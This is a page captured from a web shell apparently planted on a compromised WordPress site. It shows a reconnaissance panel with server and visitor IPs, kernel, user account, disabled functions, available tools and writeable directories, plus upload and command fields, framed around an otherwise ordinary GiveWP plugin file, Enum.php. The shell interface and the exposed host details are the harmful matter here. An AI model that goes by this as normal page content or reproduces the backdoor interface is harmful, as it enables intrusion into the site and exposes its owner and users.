Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.133.126.241
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Log/ValueObjects/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Log/ValueObjects/Enum.php
<?php

namespace Give\Log\ValueObjects;

use Give\Framework\Exceptions\Primitives\InvalidArgumentException;
use ReflectionClass;
use ReflectionException;

/**
 * Class ValueObject
 * @package Give\Log\ValueObjects
 *
 * @since   2.10.0
 */
abstract class Enum implements EnumInterface
{
    /**
     * @var mixed
     */
    protected $value;

    /**
     * ValueObject constructor.
     *
     * @param mixed $value
     */
    final public function __construct($value)
    {
        if ($value instanceof static) {
            $value = $value->getValue();
        }

        if ( ! self::isValid($value)) {
            throw new InvalidArgumentException(
                sprintf('Invalid %s enumeration value provided %s', static::class, $value)
            );
        }

        $this->value = strtoupper($value);
    }

    /**
     * Get an array of defined constants
     *
     * @return array
     */
    public static function getAll()
    {
        static $constants = [];

        if ( ! isset($constants[static::class])) {
            try {
                $reflection = new ReflectionClass(static::class);
                $constants[static::class] = $reflection->getConstants();
            } catch (ReflectionException $exception) {
                return [];
            }
        }

        return $constants[static::class];
    }

    /**
     * @inheritDoc
     */
    public function getValue()
    {
        $constants = self::getAll();

        if (isset($constants[$this->value])) {
            return $constants[$this->value];
        }

        return null;
    }

    /**
     * Check if value is valid
     *
     * @param string $value
     *
     * @return bool
     */
    public static function isValid($value)
    {
        return array_key_exists(
            strtoupper($value),
            self::getAll()
        );
    }

    /**
     * @inheritDoc
     */
    public function equalsTo($value)
    {
        return $value instanceof self && $this->getValue() === $value->getValue();
    }

    /**
     * @param string $name
     * @param array  $args
     *
     * @return static
     */
    public static function __callStatic($name, $args)
    {
        if (self::isValid($name)) {
            return new static($name);
        }

        throw new InvalidArgumentException("Invalid argument, does not match constant {$name}");
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit